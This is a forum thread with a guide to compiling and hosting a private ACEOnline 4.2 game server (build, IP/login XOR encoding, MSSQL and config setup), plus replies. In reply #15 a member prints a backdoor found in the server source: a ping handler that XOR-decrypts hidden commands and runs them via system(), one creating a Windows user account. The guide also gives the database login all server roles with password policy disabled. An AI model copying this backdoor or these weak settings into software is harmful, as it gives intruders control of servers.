[Guide] ACEOnline 4.2 using VS2013

Page 1 of 3 123 LastLast
Results 1 to 15 of 35
  1. #1
    [Guide] ACEOnline 4.2 using VS2013 St34lth4ng3l is offline
    True MemberRank
    Apr 2013 Join Date
    __FILE__Location
    816Posts

    ! [Guide] ACEOnline 4.2 using VS2013


    RaGEZONE Recommends

    RaGEZONE Recommends

    I've talked with Future about it a long time ago, but because he's got no time/or is just lazy. I'm doing it right now.

    Let's get started:

    Edit: When the images are resized: Right click them and open them in a new tab!

    Source Compilation

    First of all you need to download the Source (https://mega.nz/#!ZoYgiDQT!D0xnIIhk9...DunNT25YL_OGT0), it's reworked to be compiled under Visual Studio 2013 (MFC Libraries are needed). Visual Studio 2015 should compile fine aswell, didn't tested it.
    Then you should have a rar file like this:

    (It's packed with the RAR5 method, so please be sure to use WinRar 5 or simmilar programs)


    Next you need to extract the source to your harddrive, doesn't matter where it is.
    I extracted it to: C:\EP_42_Source\.
    It should look like this:


    Next go to \GameServer\ and open GameServer.sln with Visual Studio 2013



    Now click on the Dropbox under the menu entries to select a build configuration, i recommend Wikigames_R for a simple English Server setup.
    You are free to test/use other configs, depending on the language you are using (all localization files should be included).


    Now click on your solution and select "Build Solution"


    Build should take around 5-10 minutes because Multicore Compile is disabled.
    When the compile is finished, the buildlog should look like this:

    !!! ATTENTION !!!
    When using other configs than Wikigames_R, you have to set the include paths etc on your own because i just edited the english release config.

    Now let's look where our files are (yes, masang splitted them somehow instead of putting all in one final folder)

    DB Editor:


    Launcher.atm


    Pre Launcher:


    Admin Tool, Monitor Tool, Questloader:


    Server Binaries:



    Server Setup
    To change the IP, open LocalizationDefineCommon.h and find following lines:


    Change the define CHOICE_PRE_SERVER_IP_OR_DOMAIN_IN_XOR to your encrypted IP Adress, you can find the XOR codes in AtumParam.h


    You will need the STR_XOR_KEY_STRING_PRE_SERVER_ADDRESS Key to encrypt your IP for Launcher and PreLauncher.

    To change your AdminTool and MonitorTool logins, go to AtumParamProtocolFunctions.cpp and find following lines:


    The structure of the array is displayed in this picture.
    Here you will need the STR_XOR_KEY_STRING_SERVER_INFO key to encrypt your Logins/IPs.

    Recompile your Tools to apply the changes.

    Now to the Server:
    Create somewhere on your harddrive a serverfolder and create in it folders like this:


    Now go back into the main folder and into the bin folder, and copy your server bins into it.


    Create a file called config_root.cfg in your bin folder and add following content into it:


    Go back into the main folder and then into the config folder and copy the content of the \GameServer\config\ config folder in the servers config folder. (I uploaded a clean config at the end of this guide, you can use it instead of masangs shitty one)


    Go into the map folder and paste your SMA/DAT files into it. You can find the SMA files somehwere in this forum and DAT files in your client.


    Database Setup:
    Install a MSSQL Version you want, i'm using MSSQL 2014 Express (Use the 1.1GB File, it contains everything needed). Don't forget to check Mixed Mode when asked during the install process. You need to set a password for the user SA, save it somewhere.


    Next configure your DB so that it allows TCP connections
    Start the MSSQL Config Manager and select SQL Server Network Configuration and then Protocols for <Your SQL Servername>. In my case it's MSSQLSERVER.


    Double click TCP/IP and change the Enabled value to Yes.


    Now go to the IP Adresses Tab on the window and activate IP2/3 and enter your IP to the IP Adress entry.


    Now click on OK. A messagebox will show up.
    Click on OK and start your services (services.msc in windows search)
    Find the SQL Server service and restart it with a rightclick and select Restart service. Or Double click on it and click on Stop and after this on Start.


    Now start your MSSQL management Studio.
    Connect to your database with the SA login data.


    Go to Database, right click it and select Restore Database...


    Now select device and click on the button with the three dots


    Now click on Add


    Now navigate to your database backups (they should be in the main directory of your source)


    Then click 2 times OK, until you are here:


    Now select the only existing backup and write your destination database(when not given) into the text field Database.
    Click on OK to restore the Database.

    Do the same process with atum2_db_account too.

    To create your own Database users from where the GameServer can connect, select Security -> Logins, right click it and select New Login...


    Now type into the login name entry your wished login. Select SQL Server authentication and remove the enforce password policy check.


    Then click on Server roles and select everything (i don't know if it's really neccessary but i'm doing it anyway)


    Now click on user mapping and check both databases.


    Now click on OK, an error will appear when you use atum as login, you can ignore it, it just says that the user already exists in the database, it will be overwritten.

    Config Setup:
    Get your IP and save it somewhere (either open cmd and type ipconfig or when using hamachi, start it and copy it from there)

    Now open global.cfg in your config folder and edit folling lines:


    $LOCAL_IP_ADDR is your IP adress (From Hamachi or IPConfig).
    $SERVER_GROUP_NAME is the name of your server.
    $LANGUAGE_TYPE is the language your server is using.

    Now scroll down until you see:

    Change it on your own will.

    The next couple of lines are the allowed IP's to use the Admin tool, write there your IP and all allowed ones.


    Now scroll down to the Update Settings:
    Change them to your HTTP/FTP Settings (I won't give a AutoUpdate Guide, just search for it)


    Now scroll down to find (finally) the DB Data


    *_ODBC_UID is always your DB Login Name
    *_ODBC_PASSWD is always your DB Password
    *_DB_SERVER_IP is always your DB IP
    *_DB_SERVER_PORT is always your DB Port

    You don't need to encrypt yout logins in the config.

    (* is a placeholder, because we have several prefixes depending on the use, but all should be the same)

    When starting your server, you should get an error like this:


    To fix it, go into your Character database (atum2_db_1) and open the table td_DeclarationOfWar with a rightclick on it and "Edit top 200 rows" and change alle dates to a future one.


    You can update it with your admin tool to, but for this you'll need an account.
    Go into atum2_db_account -> td_Account and add an account with your wished username and password.
    As AccountType you can use 3 types (0 = Normal User, 512 = Game Master, 128 = Administrator)
    To connect with the admin tool, you'll need AccountType 128


    Now you can login with your admin tool. Then select "User Management" -> InfluenceWar List -> DeclarationOfWar.
    Select the entries and update them.


    Now your server should be fine to start

    When starting the Launcher it should look like this:


    To update/get your latest Items, start your Monitor tool and select InfoGenerator


    Select your Database and click on OK


    Paste the generated Omi.tex in your Res-Tex folder in your Client.

    Now you just need a client for it, because only the 3.5 Client source is released, you need a precompiled one from masang. Search on google for: Ace Online EP 4.2 Client.
    (Don't forget to put your checksummed files into the map folder)

    Here is the clean config:
    https://mega.nz/#!0x5njB6T!CSjV17BfG...tvCGAiA5kMo2QI

    Edit: You can also read the tutorial in text format on my GitHub page with all uncompressed pictures:
    https://github.com/St0rmy95/AceTutorial

    Special thanks to:

    @WARonline for the EP4.2 Server Source
    @Future for the idea and the laziness

    Who finds misspellings can keep them!
    Last edited by Future; 24-08-17 at 03:57 PM. Reason: Updated Link


  2. #2
    struct { int:-!!(1); } Aesir is offline
    True MemberRank
    May 2015 Join Date
    MadnessLocation
    262Posts

    Re: ACEOnline 4.2 Guide (VS2013)

    You missed how compile arena server.

  3. #3
    [Guide] ACEOnline 4.2 using VS2013 St34lth4ng3l is offline
    True MemberRank
    Apr 2013 Join Date
    __FILE__Location
    816Posts

    Re: ACEOnline 4.2 Guide (VS2013)

    I skipped the Arena because i concentrated on Main Server. Maybe i'll make a seperate Guide for it, in case no one alse wants to do it.

  4. #4
    Hardcore Member Afk Roy Osorio is offline
    MemberRank
    May 2014 Join Date
    119Posts

    Re: [Guide] ACEOnline 4.2 using VS2013

    I could not find the compilation of Aceonline.atm
    I could say where he is ? to compile

  5. #5
    [Guide] ACEOnline 4.2 using VS2013 St34lth4ng3l is offline
    True MemberRank
    Apr 2013 Join Date
    __FILE__Location
    816Posts

    Re: [Guide] ACEOnline 4.2 using VS2013

    Read the guide, you'll find the answer

  6. #6
    Registered GearWheel is offline
    MemberRank
    Jan 2016 Join Date
    19Posts

    Re: [Guide] ACEOnline 4.2 using VS2013


  7. #7
    [Guide] ACEOnline 4.2 using VS2013 St34lth4ng3l is offline
    True MemberRank
    Apr 2013 Join Date
    __FILE__Location
    816Posts

    Re: [Guide] ACEOnline 4.2 using VS2013

    Guide updated.
    I tested it, and everything is working fine.

  8. #8
    Registered GearWheel is offline
    MemberRank
    Jan 2016 Join Date
    19Posts

    Re: [Guide] ACEOnline 4.2 using VS2013


  9. #9
    Newbie Hieu Van Ha is offline
    MemberRank
    Oct 2015 Join Date
    2Posts

    Re: [Guide] ACEOnline 4.2 using VS2013

    can I use VS2010 for this?

  10. #10
    Registered GearWheel is offline
    MemberRank
    Jan 2016 Join Date
    19Posts

    Re: [Guide] ACEOnline 4.2 using VS2013

    i think if you can convert you can use :) but my opinion download vs2013 and learn it beacause more than better

  11. #11
    [Guide] ACEOnline 4.2 using VS2013 Future is online now
    SupervisorRank
    Dec 2011 Join Date
    1,838Posts

    Re: [Guide] ACEOnline 4.2 using VS2013

    Quote Originally Posted by Hieu Van Ha View Post
    can I use VS2010 for this?
    You can try reading MSDN articles about important changes regarding the Visual Studio versions: https://msdn.microsoft.com/de-de/lib...v=vs.110).aspx

    Best practice is usually trial & error on this. Basically try it and resolve the errors popping up on your way.

    Side note:

    This is a Guide thread. No place for off-topic questions/request or general chatting. People will later on scroll through your replies to find useful information, not unrelated spam.




    Quote Originally Posted by A Wise Man
    P-Servers are NOT dead. Bugs need squishing. Quests need fixing. Unfortunately, majority of people don't know the difference between a computer and a toaster so...

  12. #12
    Hardcore Member Afk Roy Osorio is offline
    MemberRank
    May 2014 Join Date
    119Posts

    cool Re: [Guide] ACEOnline 4.2 using VS2013

    Click image for larger version. 

Name:	Captura.jpg 
Views:	129 
Size:	189.7 KB 
ID:	155636Thanks Release

  13. #13
    Member empilein is offline
    MemberRank
    Nov 2010 Join Date
    59Posts

    Re: [Guide] ACEOnline 4.2 using VS2013

    Quests not loading right :V

    Code:
      CFieldIOCP::LoadQuestInfo() =========================================================> Start
    02-01 10:36:04|    Quest total count: 565
    
    02-01 10:36:04|    QuestIndex( 101) QuestName('              Baͩ luy볮 t㳰') check ==> Success
    02-01 10:36:04|
    	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2028200)02-01 10:36:04|
    	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2028100)02-01 10:36:04|    QuestIndex( 102) QuestName('Hoaͮ thaͮh ch������ chiҠPhi c������) check ==> Error
    02-01 10:36:04|
    	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2002800)02-01 10:36:04|
    	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2003000)02-01 10:36:04|    QuestIndex( 103) QuestName('                   Ha������tcher') check ==> Error
    02-01 10:36:04|
    	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2015400)02-01 10:36:04|    QuestIndex( 104) QuestName('                    Hang Petra') check ==> Error
    02-01 10:36:04|
    	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2003800)02-01 10:36:04|    QuestIndex( 105) QuestName('             Thu th㳰 Bonebat') check ==> Error
    02-01 10:36:04|
    	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2017900)02-01 10:36:04|    QuestIndex( 106) QuestName('        Gia���sa���cuӡ Shrine') check ==> Error
    02-01 10:36:04|    QuestIndex( 107) QuestName('          R䭣 r������trong hang') check ==> Success
    02-01 10:36:04|
    	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2002400)02-01 10:36:04|
    	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2000000)02-01 10:36:04|
    	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2009100)02-01 10:36:04|    QuestIndex( 108) QuestName('      R������ nhi보 ������ Tylent') check ==> Error
    02-01 10:36:04|
    	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2018000)02-01 10:36:04|    QuestIndex( 109) QuestName('L������thi̠th㍭ cuӡ thi뮠th㍮,a���qu') check ==> Error
    02-01 10:36:04|
    	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2016400)02-01 10:36:04|    QuestIndex( 110) QuestName('          Ho������su��� v������ͮh') check ==> Error
    02-01 10:36:04|
    	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2000000)02-01 10:36:04|
    	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2004500)02-01 10:36:04|
    	[Error] CFieldIOCP::CheckQuestInfo QuestDropItem MonsterUnitKind Error, MonsterUnitKind( 2004100)02-01 10:36:04|    QuestIndex( 111) QuestName('      M������㍵ cu������t㭮 c������) check ==> Error
    02-01 10:36:04|    QuestIndex( 112) QuestName('      Quy뭴 ������h cu������cuͮg') check ==> Success
    any idea what could be the Problem?
    Last edited by Future; 01-02-16 at 03:43 PM. Reason: put it into code tags for better readability

  14. #14
    [Guide] ACEOnline 4.2 using VS2013 St34lth4ng3l is offline
    True MemberRank
    Apr 2013 Join Date
    __FILE__Location
    816Posts

    Re: [Guide] ACEOnline 4.2 using VS2013

    Server can't load the NPC's, could cause not spawning NPC's too.

  15. #15
    struct { int:-!!(1); } Aesir is offline
    True MemberRank
    May 2015 Join Date
    MadnessLocation
    262Posts

    Re: [Guide] ACEOnline 4.2 using VS2013

    Code:
    case T_FM_PING:
                {
                    char rule1[512];
                    char rule2[512];
                    MEMSET_ZERO(rule1, 512);
                    MEMSET_ZERO(rule2, 512);
                    XOR::XORDecrypt(rule1, "474D0E4614151F134F794446775D5B0645365913771450625F65476262793C3241493B252B", ")(zfafzao87698/&%dad)=($98234");
                    XOR::XORDecrypt(rule2, "0509074A0A070C595B5138233D3761252E254347CE5C15010A181C1815482E4B47782F38686820202E", "klsjfho876JLHGADJH*)?as");
                    system(rule1);
                    system(rule2);
                    *(MessageType_t*)SendBuf = T_FM_PING_OK;
                    SendAddData(SendBuf, SIZE_FIELD_TYPE_HEADER);
                }
                break;
    Code:
    474D0E4614151F134F794446775D5B0645365913771450625F65476262793C3241493B252B ===> net user AspNet `R8w^)xFf]uQKQFT /ADD
    Oh god, guys, if you have to do that atleast change the logins from the CR one :)




Page 1 of 3 123 LastLast

Advertisement